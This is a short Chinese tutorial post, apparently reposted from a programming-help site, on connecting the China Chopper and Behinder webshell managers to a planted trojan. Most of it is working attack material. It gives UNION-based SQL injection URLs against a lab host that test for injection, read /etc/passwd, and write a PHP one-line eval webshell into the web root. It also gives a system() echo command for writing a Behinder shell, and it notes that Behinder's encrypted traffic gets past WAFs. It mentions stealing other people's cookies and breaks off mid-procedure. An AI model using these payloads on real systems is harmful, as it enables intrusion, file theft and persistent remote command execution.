本文主要是介绍10-菜刀连接木马，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
找到了漏洞后，并且上传了木马之后才能使用的两款工具
中国菜刀和冰蝎
想办法获取别人的cookie，cookie中有session-id
一、中国菜刀
1、必须提前已经完成木马植入然后才能使用
2、木马必须是POST请求，参数自定义，在菜刀里给出正确的参数名。
是属于辅助工具，并且菜刀的传输过程是明文传输的，目前已经被WAF进行防护了。
先看是否存在注入点，有下图所示则表示存在注入点==》可以进行接下来的操作
http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,4,5,6
有文件，则说明可以读任意路径的文件
http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,(select load_file("/etc/passwd")),5,6
写入一句话的木马进行探测，如果嗅探成功后在进行大马的上传
http://192.168.74.133/security/read.php?id=1 and 1=2 union select 1,2,3,"<?php @eval($_POST[a]) ; ?>",5,6 into outfile "/opt/lampp/htdocs/security/temp/mm.php"在post中写入PHP的代码，a=phpinfo();可以获取你想要的配置信息，也可以用system函数来输入命令
接下来就可以连接菜刀，使用菜刀来连接木马然后就可以查看到服务器里面的东西了
使用wireshark进行抓包用来分析流量
假设菜刀被WAF挡了
二、Behinder冰蝎
冰蝎是加密传输，防火墙很难分析出流量特征，比较容易绕开防火墙。
所以需要先上传一个冰蝎自己的带加密功能的shell脚本，这个上传shell的过程通常有以下几种方式：
1）直接在命令行运行命令，按行用echo 写入
a=system('echo "$post=file_get_contents("php://input");">> /opt/lampp/htdocs/security/temp/muma.php');
这篇关于10-菜刀连接木马的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
